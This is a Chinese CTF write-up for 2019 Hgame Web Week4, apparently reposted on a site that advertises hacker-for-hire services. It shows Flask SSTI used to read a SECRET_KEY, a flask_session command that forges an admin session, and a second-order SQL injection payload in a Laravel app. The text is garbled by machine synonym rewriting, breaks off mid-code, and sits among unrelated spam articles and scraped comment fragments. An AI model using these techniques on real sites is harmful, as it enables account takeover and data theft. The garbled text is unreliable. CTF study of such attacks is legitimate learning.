当前位置:首页 > 黑客业务 > 正文内容

CTF标题实战:2019-Hgame-Web-Week4

访客4年前 (2021-04-09)黑客业务802

前语
最近使用空余时刻做了一下Hgame,以下是部分web题题解。
happyPython
信息收集
发现是flask,顺手测验一下。
http://118.25.18.223:3001/{{1+1}}

发现或许存在SSTI,打了几发payload,发现都是500,想到测验一下过滤。
http://118.25.18.223:3001/%7B%7B'aa'.upper()%7D%7D

发现将()替换成了空。

SECRET_KEY获取
那么执行命令应该变得十分困难,可是网站有登录,注册功用。
顺手解了一下session。

猜想或许要假造user_id=1
那么不能执行命令,咱们能够进行信息读取,取得SECRET_KEY。
勘探了一下过滤,发现url_for还存在。
http://118.25.18.223:3001/%7B%7Burl_for%7D%7D

进一步了解一下。
url_for.__globals__

发现已经是,持续深化一下,读config。
url_for.__globals__['current_app'].config
得到回显
发现
'SECRET_KEY': '9RxdzNwq7!nOoK3*'
session假造
咱们进行session假造。
{u'csrf_token': u'f02a02e70216e476480f9f2be9a07eb76b96f7a5', u'_fresh': True, u'user_id': u'1', u'_id': u'91fa5db15d7b2b86be894999458190d9722d7d7aa0d5236363f921f34c7c17e63c21877fccb83bcb26984e9cac4bd72bc1dcb7750634b0997524cd3d2d9ac3f6'}
这儿直接改user_id不可,本以为有csrf_token,咱们需得到下一次csrf_token再假造。

此刻解密能够得到当时csrf_token。

进行假造
flask_session encode -s '9RxdzNwq7!nOoK3*' -t "{u'csrf_token': u'322ad6ee5c7fb9984464d472c7dadc35e4501756', u'_fresh': True, u'user_id': u'1', u'_id': u'91fa5db15d7b2b86be894999458190d9722d7d7aa0d5236363f921f34c7c17e63c21877fccb83bcb26984e9cac4bd72bc1dcb7750634b0997524cd3d2d9ac3f6'}"
可是发现依然不可,这儿测验Python3,发现成功。


得到flag:hgame{Qu_bu_la1_m1ng_z1_14}。
happyPHP
信息收集
F12发现源代码有信息走漏。

下载源码后直接搜索flag。

发现需求变成id=1的用户才会得到flag。
二次注入
一起发现高危操作。
$name = DB::select("SELECT name FROM `users` WHERE `name`='".Auth::user()->name."'");
没有通过过滤,直接拼接name。
简单想到二次注入,这儿注册用户。
1' or 'a'='a
得到成果

发现能够注入,考虑需求注入的value。
这儿我直接以为注入id=1用户的暗码是没有效果的(后来发现便是注暗码= =),咱们发现这儿的暗码已加密。
$user = User::create([
            'name' => $request->name,
            'email' => $request->email,
            'password' => encrypt($request->password),
        ]);
咱们观察到数据库信息
public function up()
    {
        Schema::create('password_resets', function (Blueprint $table) {

[1] [2]  黑客接单网

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:https://therlest.com/106529.html

分享给朋友:

“CTF标题实战:2019-Hgame-Web-Week4” 的相关文章

华流芒种是几月几号农历

芒种是二十四节气之一,大家对于二十四节气也已经非常熟悉了,但是芒种是哪一天还不是很清楚,今年的芒种是阳历6月5日,那么2020年芒种是农历几月几号呢?接下来我们就一起了解一下吧。     2020年芒种是农历几月几号...

字节承认商业化团队撤城裁员了

据晋江新闻网2021年10月19日21:00:43的最新发布,微博网友@ 爆料。   平安夜来临之际,事件,在网上炒得沸沸扬扬,引发全网热议!   据悉,黑客追款后来被报道了几次。猜测第六百八十八章逃港者第六百八十九章调侃第六百。相对这个账号是他的。   1.专业网赌追回...

猪肉怎么选?颜色有区别吗?今天做饭的时候发现上次买的猪肉颜色跟这

猪肉怎么选?颜色有区别吗?今天做饭的时候发现上次买的猪肉颜色跟这 买猪肉时,根据肉的颜色、外观、气味等可以判断出肉的质量是好还是坏。优质的猪肉,脂肪白而硬,且带有香味。肉的外面往往有一层稍带干燥的膜,肉质紧密,富有弹性,手指压后凹陷处立即复原。 次鲜肉肉色较鲜肉暗,缺乏光泽,脂肪呈灰白色;表面带...

比特犬打架视频(美国巨比特犬打架视频)

阿根廷杜高。罗威拿犬。但是还是看后天的训练,起源于19世纪。 和美国斗牛犬,放出来视频喂食的时候让其他狗和她抢,比特结构的总和等等的评估最后得出的猛犬排行。比特犬、也不退梭好感动斗牛犬比特,比特犬是同体型的后中最能打架的一种犬种!比特犬.我是一个水平很低的养狗者。 卡斯罗,爱的是优美的曲线。也就是斗...

棕榈价格生意社(棕榈油价格最新报价)

DCE,但是今年金融危机的关系,而且各大港口库存量很大,棕榈油氧化稳定性比较好,它的价格是多少呀.短期上涨还是有的。一级一吨2200元,盘面来看。最新 50斤一代。目前市场24度棕榈油,一般以熔点来分,港口出货量维持在100-200吨。天津港报价4940元/吨。 你就按6762一吨吧。6798元,棕...

本田汽车之家_本田2020款雅阁

它的动力,八代雅阁在外型,本田雅阁怎么样,看着都吓人,毕竟买车的话选择真很多,2004年第七代雅阁出现小改款. 的雅阁C—CON,现在1点5T标配报价17万,包括款现在马路上的一些,朋友你好新年伊始,独特的魅力所在,雅阁入围“2020年三十款国民车”榜单。 很少会有设计到维修的项目,有一说我觉得20...

评论列表

痴者会傲
3年前 (2022-07-04)

   ]);咱们观察到数据库信息public function up()    {        Schema::create('password_resets', function (Blueprint

边侣听茶
3年前 (2022-07-04)

4b0997524cd3d2d9ac3f6'}"可是发现依然不可,这儿测验Python3,发现成功。得到flag:hgame{Qu_bu_la1_m1ng_z1_14}。happyPHP信息收集F12发现源代码有信息走漏。下载源码后直接搜索f

蓝殇鸠骨
3年前 (2022-07-04)

r.__globals__['current_app'].config得到回显发现'SECRET_KEY': '9RxdzNwq7!nOoK3*'session假造咱们进行session假造。{u'csrf_t

余安徒掠
3年前 (2022-07-04)

.upper()%7D%7D发现将()替换成了空。SECRET_KEY获取那么执行命令应该变得十分困难,可是网站有登录,注册功用。顺手解了一下session。猜想或许要假造

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。